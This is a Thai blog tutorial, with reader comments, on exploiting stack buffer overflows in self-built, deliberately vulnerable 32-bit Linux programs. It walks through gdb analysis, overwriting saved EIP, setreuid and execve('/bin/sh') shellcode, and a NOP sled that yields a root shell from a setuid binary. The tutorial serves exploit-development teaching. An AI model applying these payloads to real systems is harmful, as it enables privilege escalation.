จากตัวอย่างในหัวข้อ "GDB เบื้องต้น" จะเห็นว่าถ้าเราใส่ input เข้าไปยาวๆ จะมีการเขียนทับ saved eip ด้วย หลังจากคำสั่ง strcpy ตามรูปข้างล่าง (เลขทั้งหมดเป็นฐาน 16 นะครับ) ทำให้หลังจากจบ function main แล้ว EIP ของโปรแกรมชี้ไปที่ 0x55555555 แสดงให้เห็นว่าเราสามารถสั่งให้โปรแกรมไปทำงานที่ไหนก็ได้ และก่อนจะเริ่มผมขอย้ำอีกครั้งว่าให้ทำตาม อย่าเอาแต่อ่าน เรื่องพวกนี้จะให้เก่งต้องทำนะครับ
Note: ค่า address ที่ผมแสดง เป็น address ที่อยู่ในเครื่องของผม ซึ่งอาจจะไม่ตรงกับเครื่องอื่นๆ ดังนั้น ถ้าเห็นว่าไม่ตรง ก็ต้องแก้ไขการใส่ค่า address ต่างๆ ด้วย
เรามาดูตัวอย่างแรกกัน (ex_06_1.c) วิธี compile อยู่ที่หัวของไฟล์ (ตั้งแต่นี้ไป ดูวิธี compile เอาเองที่หัวของไฟล์นะครับ)
/* gcc -fno-pie -fno-stack-protector -z norelro -z execstack -mpreferred-stack-boundary=2 -o ex_06_1 ex_06_1.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> int hidden_fn() { printf("You WIN\n"); exit(0); } int main(int argc, char **argv) { char buf[8]; printf("Address of hidden_fn: %p\n", hidden_fn); strcpy(buf, argv[1]); return 0; }
เป้าหมายของตัวอย่างนี้ ชัดเจนนะครับ คือให้เรียก hidden_fn() ให้ได้ เรามาลอง gdb กันก่อน
$ gdb -q ./ex_06_1 Reading symbols from /home/worawit/tutz/ch06/ex_06_1...(no debugging symbols found)...done. (gdb) disas main Dump of assembler code for function main: 0x08048482 <+0>: push %ebp 0x08048483 <+1>: mov %esp,%ebp 0x08048485 <+3>: sub $0x10,%esp 0x08048488 <+6>: mov $0x8048588,%eax 0x0804848d <+11>: movl $0x8048464,0x4(%esp) 0x08048495 <+19>: mov %eax,(%esp) 0x08048498 <+22>: call 0x80483780x0804849d <+27>: mov 0xc(%ebp),%eax 0x080484a0 <+30>: add $0x4,%eax 0x080484a3 <+33>: mov (%eax),%eax 0x080484a5 <+35>: mov %eax,0x4(%esp) 0x080484a9 <+39>: lea -0x8(%ebp),%eax # โหลด address ของ buf ที่ address ebp-8 0x080484ac <+42>: mov %eax,(%esp) 0x080484af <+45>: call 0x8048368 0x080484b4 <+50>: mov $0x0,%eax 0x080484b9 <+55>: leave 0x080484ba <+56>: ret End of assembler dump. (gdb) b *0x080484af # set breakpoint ก่อนเรียก strcpy Breakpoint 1 at 0x80484af (gdb) r UUUUUUUU Starting program: /home/worawit/tutz/ch06/ex_06_1 UUUUUUUU Address of hidden_fn: 0x8048464 Breakpoint 1, 0x080484af in main () (gdb) i f Stack level 0, frame at 0xbffff710: eip = 0x80484af in main; saved eip 0x154bd6 Arglist at 0xbffff708, args: Locals at 0xbffff708, Previous frame s sp is 0xbffff710 Saved registers: ebp at 0xbffff708, eip at 0xbffff70c # จำ address ของ saved eip ไว้ (gdb) x/8x $ebp-8 # ดูค่าตั้งแต่ address ของ buf 0xbffff700: 0x080484d0 0x00000000 0xbffff788 0x00154bd6 0xbffff710: 0x00000002 0xbffff7b4 0xbffff7c0 0x0012f858 (gdb) ni 0x080484b4 in main () (gdb) x/8x $ebp-8 # จะเห็นว่าถ้าจะเขียนทับ eip ต้องใส่ input ไปทั้งหมด 16 bytes 0xbffff700: 0x55555555 0x55555555 0xbffff700 0x00154bd6 0xbffff710: 0x00000002 0xbffff7b4 0xbffff7c0 0x0012f858 (gdb) r UUUUUUUUUUUUABCD # ลองดู The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/worawit/tutz/ch06/ex_06_1 UUUUUUUUUUUUABCD Address of hidden_fn: 0x8048464 Breakpoint 1, 0x080484af in main () (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x44434241 in ?? () (gdb) i r eip # จะเห็นค่า eip เปลี่ยนเป็น 0x44434241 คือ DCBA เพราะเรื่องของ endian eip 0x44434241 0x44434241 (gdb) q A debugging session is active. Inferior 1 [process 1413] will be killed. Quit anyway? (y or n) y
จะเห็นว่าถ้าต้องการเปลี่ยนค่า saved eip ต้องใส่ข้อมูลอย่างน้อย 16 bytes โดยข้อมูล byte ที่ 12 ถึง 16 จะเป็น saved eip ที่เราต้องการจะเป็น
จาก output ของโปรแกรม address ของ hidden_fn คือ 0x8048464 แต่ตัวอักษรของค่าพวกนี้ เราพิมพ์ไม่ได้ ดังนั้นผมจะใช้ perl มาช่วย โดยจะได้คำสั่งตามนี้
$ ./ex_06_1 `perl -e 'print "U"x12 . "\x64\x84\x04\x08"'` Address of hidden_fn: 0x8048464 You WIN
เย่ ทำได้แล้ว ให้สังเกตเรื่อง endian ด้วยนะครับ ว่าผมใส่ \x64 เป็นตัวแรก และ \x08 เป็นตัวสุดท้าย
ตัวอย่างข้างบน เราได้ทำให้โปรแกรมรัน function ที่ซ่อนไว้อยู่ แต่โดยปกตินั้น เราต้องมีการแทรก code ที่ทำงานตามที่เราต้องการ (เรียกว่า shellcode) แล้วเรียก shellcode ของเรา โดยการควบคุมค่า eip
แต่คราวนี้ผมขอเปลี่ยนขนาดของ buf เป็น 256 bytes (ex_06_2.c) (ไม่แสดง code นะครับ จะได้ไม่ยาวเกิน) และให้ 2 shellcode ต่อไปนี้ (จะมีคำอธิบายพร้อมทั้งทำให้เล็กลงในหัวข้อการเขียน Linux Shellcode)
# setreuid(0, 0) 10 bytes \x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80 # execve("/bin/sh", { "/bin/sh", NULL }, NULL) 24 bytes (เอามาจากไหนไม่รู้ จำไม่ได้แล้ว) \x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80
หลังจาก compile อย่าลืมคำสั่งต่อไปนี้นะครับ
$ sudo su -c "chown root: ex_06_2;chmod 4755 ex_06_2"
ก่อนจะเริ่มทำ ลองคิดตามผมดูว่า ครั้งนี้เราต้องทำการแทรก shellcode (inject shellcode) แล้วเปลี่ยนค่า eip ไปที่ shellcode ของเรา แล้วเราจะ inject shellcode ไปที่ไหนดี
ที่เห็นชัดเจนที่สุดก็คือที่ buf ในโปรแกรมนั้นแหละ (จริงๆ แล้วที่ไหนก็ได้ใน memory) แล้ว buf มัน address อะไรละ อย่างงี้เราต้องมา gdb หากัน ลุย
$ gdb -q ./ex_06_2 Reading symbols from /home/worawit/tutz/ch06/ex_06_2...(no debugging symbols found)...done. (gdb) disas main ... # ขอละ จะได้ไม่ยาว 0x080483d9 <+21>: lea -0x100(%ebp),%eax # buf อยู่ที่ ebp+100 0x080483df <+27>: mov %eax,(%esp) 0x080483e2 <+30>: call 0x80482fc... # ขอละ จะได้ไม่ยาว (gdb) b *0x080483e2 Breakpoint 1 at 0x80483e2 (gdb) r AAAA Starting program: /home/worawit/tutz/ch06/ex_06_2 AAAA Breakpoint 1, 0x080483e2 in main () (gdb) x/x $ebp-0x100 0xbffff608: 0x00000006 # ได้ address ของ buf มาแล้ว 0xbffff608 (gdb) q ... # ขอละ จะได้ไม่ยาว
เราได้ข้อมูลทุกอย่างแล้ว buf ที่ address 0xbffff608 และ saved eip อยู่ห่างจาก buf 256+4=260 bytes (4 bytes คือ saved ebp) และ shellcode เราก็มีแล้ว แค่เอามาต่อกัน (ใน bash ต้องมีการเรียก setreuid ก่อน execve เพราะ bash จะ set ค่า euid เป็น uid ก่อนทำ execve) ตามนี้
# setreuid 10 bytes + execve 24 bytes + junk (260-10-24=226) $ ./ex_06_2 `perl -e 'print "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" . "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "U"x226 . "\x08\xf6\xff\xbf"'` Segmentation fault
เอะ ทำไม??? เกิดอะไรขึ้น เรามาลองเอา suid bit ออกไปก่อน แล้วมาลองให้มี core dump ดูดีกว่า แล้วใช้ gdb ดู
$ sudo chmod 755 ex_06_2 # ถ้ามี suid bit อยู่จะไม่มี core dump $ ulimit -c unlimited # enable core dump เฉพาะ terminal นี้ $ ./ex_06_2 `perl -e 'print "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" . "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "U"x226 . "\x08\xf6\xff\xbf"'` Segmentation fault (core dumped) $ gdb -q -c core [New Thread 1852] Core was generated by `./ex_06_2 1▒1▒1ɰF̀1▒Phn/shh//bi▒▒RS▒▒ ̀UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU`. Program terminated with signal 11, Segmentation fault. #0 0xbffff640 in ?? () (gdb) x/4x 0xbffff608 # ทำไม address นี้เป็นขยะไปละ แล้ว shellcode เราอยู่ไหน 0xbffff608: 0x55555555 0x55555555 0x55555555 0x55555555 (gdb) x/8x 0xbffff608-208 # เจอแล้วที่ address 0xbffff538 0xbffff538: 0xdb31c031 0x46b0c931 0xc03180cd 0x2f6e6850 0xbffff548: 0x2f686873 0x8969622f 0x535299e3 0x0bb0e189 (gdb) q
เกิดอะไรขึ้น ทำไม buf กลายเป็นอยู่ที่ address 0xbffff538 ขอตอบสั้นๆ เพราะ argv และ env ที่ run ด้วย gdb กับจาก shell ตรงๆ มันไม่เหมือนกัน ทำให้ address ของตัวแปรต่างๆ ใน stack ถูกเปลี่ยน งั้นเราลองอีกทีด้วย address ใหม่
$ sudo chmod 4755 ex_06_2 $ ./ex_06_2 `perl -e 'print "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" . "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "U"x226 . "\x38\xf5\xff\xbf"'` # id uid=0(root) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit) # exit
ได้แล้ว กลายเป็น root แล้ว :) แต่เห็นปัญหามั้ยครับ ว่าเราต้องใส่ address ของ buf ให้มันตรงเป๊ะ อย่างงี้เปลี่ยนเครื่อง exploit เราก็อาจจะทำงานผิดพลาด
ยังจำ NOP (0x90) ในหัวข้อ assembly ได้มั้ยครับ การใส่ NOP เป็นวิธีหนึ่งที่ทำให้ exploit มี reliable มากขึ้น โดยแทนที่จะให้มีขยะต่อท้าย shellcode เราจะใส่ NOP sled ไว้ก่อน shellcode ดังนั้นค่า saved eip ที่เราเปลี่ยน ขอแค่ชี้ไปที่ address ไหนก็ได้ใน NOP sled โปรแกรมก็จะ run shellcode ของเรา (ในกรณีนี้ เราต้องมีขยะต่อท้ายอย่างน้อย 16 bytes เพื่อเว้นที่ให้ shellcode ของเราเก็บค่าต่างๆ แต่ผมเว้นไว้ 20 bytes) ตามรูปข้างล่าง
$ ./ex_06_2 `perl -e 'print "\x90"x206 . "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" . "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "U"x20 . "\x08\xf6\xff\xbf"'` # id uid=0(root) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit) # exit
จะเห็นว่า ครั้งนี้ผมใช้ address เดิมที่หาได้จาก gdb ครั้งแรก ก็ยังทำงานได้ เย่ๆ ทำได้แล้ว (อย่างน้อยก็แบบที่ง่ายที่สุด)
ก่อนจะไปหัวข้อถัดไป ผมขอให้ลองเปลี่ยน address ที่จะเขียนทับ saved eip ลองดูว่า exploit ที่มี NOP ยังทำงานได้ปกติกับหลายๆ address และให้ลองเอา shellcode setreuid ออก แล้วดูความแตกต่างระหว่างมีกับไม่มี (แก้แล้ว ต้องแก้จำนวน nop หรือ ขยะด้วยนะครับ)
ช่วยด้วยครับขอผมมันขึ้นแบบนี้หลังจาก
ReplyDelete$ gbd -q -c core
....
(gdb) x/4x 0xbf8594f8 # or x/4x $ebp
0xbf8594f8: Cannot access memory at address 0xbf8594f8
(gdb)
กลับไปอ่าน http://thtutz.blogspot.com/2011/01/ubuntu-exploit-linux.html นะครับ
Deleteวิธีเพิ่ม exploit ใน Backtrack5 r3 ทำยังไงครับ
ReplyDeleteชอบมากเลยครับ ไม่เเน่ใจว่าพี่รู้จักหนังสือชื่อ writing security tools and exploits เขาเขียนคล้ายพี่มากครับ เวลาผมอ่านงงๆ ผมก็มาเชื่อกับของพี่นี่เเหละครับ ขอบคุณมากครับ
ReplyDelete